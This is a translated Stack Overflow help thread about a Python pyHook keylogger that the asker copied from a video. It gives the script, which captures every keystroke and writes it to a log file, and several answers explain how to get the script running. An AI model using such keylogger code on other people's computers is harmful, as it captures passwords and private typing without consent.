【问题标题】:No attribute 'HookManager'没有属性“HookManager”
【发布时间】:2016-10-01 12:23:07
【问题描述】:

我正在复制此视频中的键盘记录器:(https://www.youtube.com/watch?v=8BiOPBsXh0g) 并运行代码:

    import pyHook, sys, logging, pythoncom

    file_log = 'C:\Users\User\Google Drive\Python'

    def OnKeyboardEvent(event):
        logging.basicConfig(filename = file_log, level = logging.DEBUG, format = '%(message)s')
        chr(event.Ascii)
        logging.log(10, chr(event.Ascii))
        return True

    hooks_manager = pyHook.HookManager()
    hooks_manager.KeyDown = OnKeyboardEvent
    hooks_manager.HookKeyboard()
    pythoncom.Pumpmessages()

这会返回错误:

    Traceback (most recent call last):
      File "C:\Users\User\Google Drive\Python\pyHook.py", line 2, in  <module>
        import pyHook, sys, logging, pythoncom
      File "C:\Users\User\Google Drive\Python\pyHook.py", line 12, in <module>
        hooks_manager = pyHook.HookManager()
    AttributeError: 'module' object has no attribute 'HookManager'

我正在运行 Python 2.7.11 和 Windows 计算机。 我不知道问题是什么;请帮忙。 谢谢

【问题讨论】:

    标签: attributes keylogger pyhook


    【解决方案1】:

    我找到了解决方案。如果您打开 HookManager.py 并将所有 'key_hook' 单词更改为 'keyboard_hook' 就不会再发生错误

    【讨论】:

    • 为什么这个解决方案与公认的答案如此不同?
    • 不同的解决方案。
    【解决方案2】:

    我仍然不确定问题是什么,但我找到了解决方案。 如果您将尝试运行的程序移动到与 HookManager.py 文件相同的文件夹中,则它可以工作。

    对我来说,这个文件是: C:\Python27\Lib\site-packages\pyHook

    【讨论】:

      【解决方案3】:

      兄弟,这行错了

      file_log = 'C:\Users\User\Google Drive\Python'

      由于系统不允许您的程序写入“C”盘,您应该使用其他路径,如“D”盘或“E”盘等,如下所示。

      file_log = 'D:\keyloggerOutput.txt'
      

      【讨论】:

      • 感谢您的帮助,但这似乎并没有解决问题,但是我现在有了该程序的工作版本。感谢您花时间回答我的问题
      • 兄弟我已经测试过这个程序,它工作正常。
      【解决方案4】:

      在 Python 3.7 上使用 zip 文件 pyWinhook-1.6.1.zip 安装 pyWinhook-1.6.1 后,我遇到了同样的消息错误。 在应用程序文件中,我将导入语句:“import pyWinhook as pyHook”替换为“from pywinhook import *”。然后问题就解决了。

      【讨论】:

        猜你喜欢
        • 2012-12-01
        • 1970-01-01
        • 2011-04-14
        • 2020-01-06
        • 1970-01-01
        • 1970-01-01
        • 1970-01-01
        • 2020-12-11
        • 1970-01-01
        相关资源
        最近更新 更多